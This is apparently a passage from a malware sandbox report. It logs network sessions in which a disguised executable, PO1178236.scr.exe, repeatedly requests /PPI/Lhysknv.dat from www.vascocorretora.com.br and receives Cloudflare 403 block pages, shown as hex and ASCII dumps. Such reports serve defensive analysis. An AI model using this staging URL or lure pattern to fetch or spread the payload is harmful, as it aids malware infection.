2025-01-09 07:28:44 UTC	1013	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RH4%2BaEQakBgfYLcGJqITB1SRAKwukL8a10UtXzdeRCODfD1jZQ%2BRcSO%2FYwD9QLYqkqtMyJUXsbX6kZJ6VRn%2BdgtQMib7NY4Khn15J%2BCXPrsF9Yi1dq0E%2B%2F2fFCjq6JQGaL7qIGM3wcLQ1hxJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6580f5a4213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1760&min_rtt=1758&rtt_var=665&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1639528&cwnd=231&unsent_bytes=0&cid=197f7562016a253b&ts=148&x=0"
2025-01-09 07:28:44 UTC	356	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="wi
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d Data Ascii: ection cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>...
2025-01-09 07:28:44 UTC	1369	IN	Data Raw: 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 35 38 30 66 35 61 34 32 31 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: m:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6580f5a4213</strong></span> <span class="cf-footer-separator sm:
2025-01-09 07:28:44 UTC	1006	IN	Data Raw: 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 35 38 30 66 35 61 34 32 31 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 43 34 77 4d 44 41 77 4d 44 41 3d Data Ascii: > window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6580f5a4213',t:'MTczNjQwNzcyNC4wMDAwMDA=
2025-01-09 07:28:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:45 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:45 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jGjX81iqviB%2F2V3uRMIQb%2Bl%2FKKtOZ47%2BbY284PS1KhkmMkbkc15zebf61JmMyJ71cq9TYxayKMGTSFe4u7kW%2FaKHdB7YH%2BE6MP8py76dM5x8GEib8RnvppCvbV6Z8jy5UcxmFpfWd9JDNGIh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b65bcba243af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1633&rtt_var=617&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1767554&cwnd=230&unsent_bytes=0&cid=8d9b0673f2059cae&ts=148&x=0"
2025-01-09 07:28:45 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:45 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:28:45 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:28:45 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 35 62 63 62 61 32 34 33 61 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b65bcba243af</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:28:45 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 35 62 63 62 61 32 34 33 61 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b65bcba243af',t:'MTczNjQwNzcyNS4wMDAwMDA='}
2025-01-09 07:28:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:45 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:46 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e5%2FQrhkV2YOoRPXVBZy1yGUKXN%2FFcvh4HpbfQ3ParsDaWTqIBCJMX89Njj9cQlZqOR%2F10W%2BkYtruextSpJOJzTLWEDMyJv8GQG9gp4inJ59sHhlF%2FpniMoSSqHI1BfgUbGCcaYqH3uwGi9rZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b65f6b4d4267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1555&rtt_var=611&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1752701&cwnd=236&unsent_bytes=0&cid=51410eb284bad79b&ts=112&x=0"
2025-01-09 07:28:46 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:46 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 35 66 36 62 34 64 34 32 36 37 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b65f6b4d4267</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:46 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 35 66 36 62 34 64 34 32 36 37 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 79 4e 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b65f6b4d4267',t:'MTczNjQwNzcyNS4wMDAwMDA='};v
2025-01-09 07:28:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49778	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:46 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:46 UTC	1017	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4nEHMh3pvlJakNxxJdcE%2BadH9YHhQJ%2BoFVrFIieEC%2FEQ5hdJDZ%2BOd%2F%2BF3Z4lR%2B3wAmmcec8d4AKO7SR8k4qvXyyRj%2FcZVrCSommskOtkRGP9FDLaEE31sSEQJQeqisOIbByzsT%2FUXf6L9uxM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6632dcb4358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1576&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1788120&cwnd=206&unsent_bytes=0&cid=fcb056158d1cd520&ts=144&x=0"
2025-01-09 07:28:46 UTC	352	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 